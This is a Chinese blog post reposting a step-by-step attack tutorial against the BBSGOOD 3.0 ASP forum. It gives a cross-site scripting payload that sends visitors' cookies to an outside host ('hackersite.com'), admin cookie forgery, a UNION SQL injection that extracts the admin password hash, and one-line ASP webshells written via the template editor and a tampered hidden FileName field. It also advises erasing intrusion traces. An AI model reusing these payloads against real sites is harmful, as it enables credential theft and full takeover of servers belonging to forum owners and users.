BBSGOOD3.0漏洞查找利用

2009, November 1, 7:11 PM. 漏洞集研
Submitted by admin

今天遇到了个老论坛老漏洞,这漏洞出来的时候,申请个QQ我也请别人帮忙,,所以,这里作一下笔记,收藏一下。。。

===========================================

BBSGOOD3.0漏洞查找利用

2007-02-14 17:26:48

大中小
from Internet

一、前言。
BBSGOOD是一款以生成html提高论坛访问速度,降低系统负载为主要理念的ASP论坛程序,经过测试,由于其采用生成静态以及缓存技术,大大提高了论坛的访问速度,但是由于其制作者的疏忽,导致论坛存在一些严重的安全隐患,使得攻击者可以获得管理员密码,进入后台并得到webshell。
二、发贴跨站漏洞分析。
对于论坛程序,一般我们首先来检测其发贴部分是否存在跨站漏洞,我们打开程序的发贴页面,分别在帖子标题和内容处均填写“<script>alert();</script>”字样,这样如果存在跨站漏洞,则当我们发表帖子后,浏览帖子将弹出一个对话框。但是当我们发送帖子完成后,浏览帖子发现一切显示正常,也没有出现对话框,当然,程序员对这种方式的跨站,应该是做了防护的,那么我们来进行更高级方式的跨站,我们发现在发贴的在线编辑器上有插入html代码的按钮,
点击这个按钮,并在弹出的对话框中写入我们的跨站语句“<script>alert();</script>”,但是仍然失败了。这里我们使用终极跨站大法,点击插入图片的按钮,在弹出的对话框中填写“javascript:alert()”,

然后发表帖子,并进入所发表的帖子,发现弹出了对话框,说明跨站成功了。
这里跨站成功后,就可以通过跨站漏洞插入一段盗取cookies的代码,如下:


javascript:document.write("<iframe width=0 height=0 src='http://www.hackersite.com/getcookies.asp?+document.cookie'>;</iframe>")


这里http://www.hackersite.com/getcookies.asp即为我们盗取cookies文件的地址,getcookies.asp文件的源码已经附加到本期光盘中。
因为BBSGOOD的密码是以md5方式保存在cookies中的,因此我们不能直接通过盗取的密码登录,这时有两种方法,第一是暴力破解或者登录http://www.xmd5.org查询md5数据库,但是未必能够查的到,如果管理员的密码足够复杂,那么我们只有通过另一种方式-伪造cookies来伪造管理员身份登录了。
首先我们自己注册一个用户“普罗米修斯”,而后使用此用户登录论坛并保存cookies,这时使用IECookiesView工具,打开相应论坛的cookies信息,如图三:


我们依次修改BBSGood.Speedadmin的值为1,BBSGood.Speedpassword的值为盗取的管理员密码的MD5散列值,BBSGood.Speedusername为管理员用户名,默认为admin,这时重新打开论坛页面,发现我们已经登陆为管理员了。
三、前台找回密码注入漏洞。
可能有的读者朋友辛辛苦苦的构造了跨站盗取cookies的代码,而无奈于苦苦等待,管理员就是没有访问我们的帖子而没有得到管理员的密码散列值,这时我们不妨化被动为主动,经过查找和分析,发现在“找回密码”功能处,第一步对于用户输入的用户名没有过滤,导致了注入攻击,为了方便分析,我们读一下其getpass.asp文件的相应代码:


'……
        username=trim(Request.Form("username"))
        sql="select * from LxTel_User where username='"&username&"' "
        Set rs = Server.CreateObject("ADODB.Recordset")
        rs.open sql,conn,1,1
        DataNum=DataNum+1
'……


为了方便查询密码,我们就不使用暴力猜解的方法了,这里使用union语句构造联合查询,因为原始的SQL语句选取了LxTel_User表的所有字段(共39个),因此我们在构造union语句时,需要使用39个数字,第一次构造的union语句如下(在getpass.asp页面的“用户名”处填入):


' union select 39,38,37,36,35,34,33,32,31,30,29,28,27,26,25,24,23,22,21,20,19,18,17,16,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1 from [LxTel_User] where username='admin


而后得到如图四的页面(为了方便,我修改了部分程序,显示出所执行的SQL语句):



这里可以看出,在“密码问题”的位置,将显示“32”处所填写的信息,因此我们将注入语句改为:


' union select 39,38,37,36,35,34,33,password,31,30,29,28,27,26,25,24,23,22,21,20,19,18,17,16,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1 from [LxTel_User] where username='admin



这时可以知道,用户名为admin的用户,其密码MD5散列值为:7a57a5a743894a0e,这里得到的密码同使用跨站盗取cookies得到的密码是相同的,可以进一步伪造cookies登录。
四、进阶攻击得到webshell
如果说伪造cookies登录前台仅仅是用来捣乱的话,那么利用后台某些对管理员操作过分信任的漏洞,就可以进一步得到webshell而危害整个站点甚至服务器的安全了。
首先利用上述方法伪造好管理员的cookies,然后打开admin/cssedit.asp这个页面,这里是进行站点CSS风格编辑的页面,我们在其第一行写入“<%eval(request("a"))%>”这样的一句话木马,而后再打开savemb.asp页面,在“导出模板位置及文件名:”处写入扩展名为asp的文件名,如shell.asp,并点击“导入”按钮,不过发现页面没有反应,但是我们的操作均是正确的,这里我们猜想,可能是由于后台管理本身是基于Iframe的操作,只不过我们为了避免登录的二次检查,没有正常访问而是直接访问了框架包含的页面,而导致IE对表单提交的支持不好。不过没有关系,我们首先在本机搭建一个论坛平台,然后使用管理员身份登录,并使用Winsock Expert来抓取相应的POST数据包,而后使用NC提交至相应服务器即可,操作完成后,将在论坛的根目录得到一个shell文件,文件名即为我们刚才填写的文件名,至此获得webshell完毕,当然最后我们还要清除入侵痕迹,将模板改回原来的样子即可。
五、再次进阶-发贴直接得到webshell
看了上面的利用过程,我想读者朋友一定还不过瘾,毕竟盗取cookies需要一定的运气,注入又显得比较麻烦,况且如果服务器上安装了一些基于ISAPI的入侵防御器的话,注入也难以得到密码散列,于是我又对发贴的部分进入了深刻检测。
首先我们打开一个发贴页面,然后查看器源代码,并搜索“hidden”关键词,用以查找在页面中的隐藏域,

此时我们猜测,“<INPUT type=hidden name=FileName value=1515515892.html>”这段代码的作用就是向执行发贴的页面传递所生成的静态文件名的参数,为了验证我们的想法,来打开post.asp页面查看:


'省略前边代码……
'Line 374:
        if trim(Request.Form("FileName"))="" then
            FileName=time()   '取文件名
                  FileName=replace(FileName,":","")
                  FileName=replace(FileName," ","")
                  FileName=replace(FileName,"上午","")
                  FileName=replace(FileName,"下午","")
                  FileName=FileName+rndNum(3)+BoardID+"."+Application(BBSInfo&"sysinfo")(69,0)
        else
            FileName=trim(Request.Form("FileName"))
        end if
'省略部分代码……
'Line 462
        if shzt=false then
            If BoardData(5,0)=true and BuyPostType=0 and BoardData(4,0)=1 Then
                Set html=New CreateHtml
                If html.MainHtml(BoardID,FileName)=true Then
                    FileName = ""&GetFolderPath(Application(BBSInfo&"sysinfo")(95,0),PostTime)&"/"&FileName&""
                Else
                    FileName = "disPost.asp?boardid="&Boardid&"&FileName="&FileName&""
                End if
            else
                      FileName = "disPost.asp?boardid="&Boardid&"&FileName="&FileName&""
                  end if
              end if
'省略部分内容
'Line 491
Call CreateIndexHtml

这里我们可以清楚的看到,当程序获得的隐藏域filename的值不为空的时候,就使用此值,并且程序在使用此文件名保存文件时,没有做任何的过滤,这样就给我们造成了一个通过修改隐藏域的值在服务器上保存一个asp文件的可能。
为了写入webshell,我们还需要对程序获得帖子内容的部分进行分析,这里由于篇幅原因,就不再具体写出了。由于程序限制了外部提交,因此我们不能够通过直接修改本地文件并提交的方法来得到shell。
首先进行一次正常的发贴并使用WSE工具来抓包,这里我得到的数据包如下(省略HTTP头的部分,这里只给出具体发送的POST部分):


FileName=1532104782.html&font=&titlename=%C6%D5%C2%DE%C3%D7%D0%DE%CB%B9&nl=%3CP%3E%26nbsp%3B%C6%D5%C2%DE%C3%D7%D0%DE%CB%B9%3C%2FP%3E&selectFont=%D7%D6%CC%E5&D2=%D7%D6%CC%E5%B4%F3%D0%A1&buyposttype=0&buynum=0&BuyExplanation=

首先修改filename变量的值,即1532104782.html为shell.asp,修改文章内容nl变量的值为编码后的


<script language="vbscript" runat="server">if request("a")="a" then Set fs = CreateObject("Scripting.FileSystemObject"):Set outfile=fs.CreateTextFile(server.mappath(Request("path"))):outfile.WriteLine Request("text"):Response.write "succeed!"</script>

而后使用NC提交,这样我们就可以使用一句话木马的客户端连接所发帖子的地址,并写入一个完整木马了。
总结


当然,这里需要说明的是,其实发现跨站漏洞后,可以通过构造跨站表单来实现对于CSS样式的修改和备份,并得到WEBSHELL,构造跨站表单的方法在以前的杂志中已经详细讲过了,这里由于篇幅原因不再详述,建议读者自己试着构造一个表单,并测试进行跨站提交表单来获得WEBSHELL的过程。因为漏洞的查找和利用的思路有很多,还需要读者自己进行扩展。

Tags: bbsgood

« 上一篇 | 下一篇 »

Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):